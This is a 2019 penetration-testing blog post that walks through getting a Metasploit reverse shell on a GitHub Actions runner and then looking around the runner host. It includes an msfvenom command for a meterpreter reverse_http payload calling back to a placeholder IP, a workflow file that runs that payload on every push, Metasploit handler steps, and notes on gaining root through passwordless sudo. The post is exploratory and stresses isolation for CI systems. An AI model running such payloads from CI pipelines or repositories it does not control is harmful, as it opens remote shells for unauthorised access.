Shells in Github Actions

Security Geek, Penetration Testing, Docker, Ruby, Hillwalking

AUGUST 25TH, 2019

I recently got my beta invite to the awesome Github Actions feature. This is a free to use CI/CD system. If you're not familiar with CI/CD, you can think of it as a system which runs a series of actions during your development process to help test/maintain/deploy it. For example you could use CI to run your test suite on every commit, so you know if someone just broke the build.

To do this we use "runners" which are essentially execution environments (e.g. a Virtual Machine) that runs our tests or other actions.

Of course what do pentesters think, seeing the idea that someone's going to let me execute commands somewhere… "hey can I get a shell on that?" :)

Antitree got there first on twitter but I thought it could be fun to walk through the process in a little more detail than twitter's format allows.

The pre-requisite for this is that your Github account has actions enabled. Once you've got that here's a set of steps to get a shell on one of Github's runners.

It's worth noting that what we're detailing below isn't likely any kind of security issue for Github, I'd expect that they're providing dedicated ephemeral instances as CI runners, so you're not likely to get access to anyone else's infrastructure using this technique, it's just a bit of fun :)

One thing to note though in general for CI/CD environments is how important isolation is, if you're running untrusted code in pipelines. As we'll show here, it's pretty easy to get a shell back out of a runner, so don't run these in a network with other important hosts…

Security Geek, Penetration Testing, Docker, Ruby, Hillwalking

Prepare the payload

Just like in the previous post on Kubernetes shells we're going to use Metasploit for this. So we need a reverse shell payload that we can call back to. For this, you'll need to have the port receiving the connection visible on the Internet with no firewall in the way, you could use something like a Digital Ocean droplet or EC2 instance for this.

```
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=YOURIP LPORT
=YOURPORT -f elf > reverse_shell.elf
```

just replace `YOURIP` and `YOURPORT` with your information.

Now we've got a shell program, just start a new Github repository and add the shell to the repo.

Our Gtihub Action

We just need to create our action now that will get triggered when we push changes to our Github repository. Github actions live in `.github/workflows/` and are in YAML format. Create a file called `testaction.yml` in there and you can put something like this into the file.

```
name: Shell

on: [push]

jobs:

  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v1
    - name: metasploit reverse shell
      run: ./reverse_shell.elf
```

Security Geek, Penetration Testing, Docker, Ruby, Hillwalking

Now when we commit our repository, Github should run our action. Before we do that make sure to set-up Metasploit to receive the connection.

Metasploit handler

after running `msfconsole` you can do the following steps

1. `use exploit/multi/handler`
2. `set payload linux/x64/meterpreter_reverse_http`
3. `set LHOST YOURIP`
4. `set LPORT YOURPORT`
5. `exploit`

Then push your shell and action code to Github to trigger the action, and all being well you should get a shell :)

Looking around a Github runner

So once you've got your shell what can you see? Well it's running an Ubuntu based distro, as we'd expect (it is possible to get Windows or indeed Mac runners, so you could repeat this exercise with them)

"Privesc"

When you first get the shell, you're running as the `runner` user but it's got passwordless `sudo` access, so you can just `sudo bash` to get `root`.

Listening ports

Running `ss -ltnp` will show us the listening TCP ports

```
State     Recv-Q     Send-Q          Local Address:Port          Peer A
ddress:Port
LISTEN    0          80                  127.0.0.1:3306
 0.0.0.0:*
LISTEN    0          128           127.0.0.53%lo:53
```

Security Geek, Penetration Testing, Docker, Ruby, Hillwalking

```
 0.0.0.0:*
LISTEN    0         128                  0.0.0.0:22
 0.0.0.0:*
LISTEN    0         128                     [::]:22
   [::]:*
```

The port `3306/TCP` is kind of interesting, as my action didn't make any use of MySQL.

Routing Table

Nothing hugely interesting on the routing table, although interesting that `docker0` is there, so we're running Docker on the runner host.

```
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref
   Use Iface
0.0.0.0         10.1.0.1        0.0.0.0         UG    100    0
     0 eth0
10.1.0.0        0.0.0.0         255.255.0.0     U     0      0
     0 eth0
168.63.129.16   10.1.0.1        255.255.255.255 UGH   100    0
     0 eth0
169.254.169.254 10.1.0.1        255.255.255.255 UGH   100    0
     0 eth0
172.17.0.0      0.0.0.0         255.255.0.0     U     0      0
     0 docker0
```

Running Processes

One thing I thought was interesting, although not really surprising, is that there are quite a few dotnet core processes running on the host.

Users on the host

A quick look at `/etc/passwd` shows up a couple of non-standard users

Security Geek, Penetration Testing, Docker, Ruby, Hillwalking

```
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
sphinxsearch:x:112:117:Sphinx fulltext search service,,,:/var/ru
n/sphinxsearch:/usr/sbin/nologin
runneradmin:x:1000:1000:Ubuntu:/home/runneradmin:/bin/bash
runner:x:1001:115:,,,:/home/runner:/bin/bash
```

Conclusion

This is just a quick exploration of a Github Actions runner host, showing some of the techniques that can be used to get shells in CI systems, if you have the ability to submit commands to them.

Overall Github actions looks really cool, and I'm looking forward to integrating it into a lot of my repo's alongside their private repository feature.

Github (1)

Share Post

Twitter Facebook Google+

raesene

Security Geek, Penetration Testing, Docker, Ruby, Hillwalking

← Previous   Next →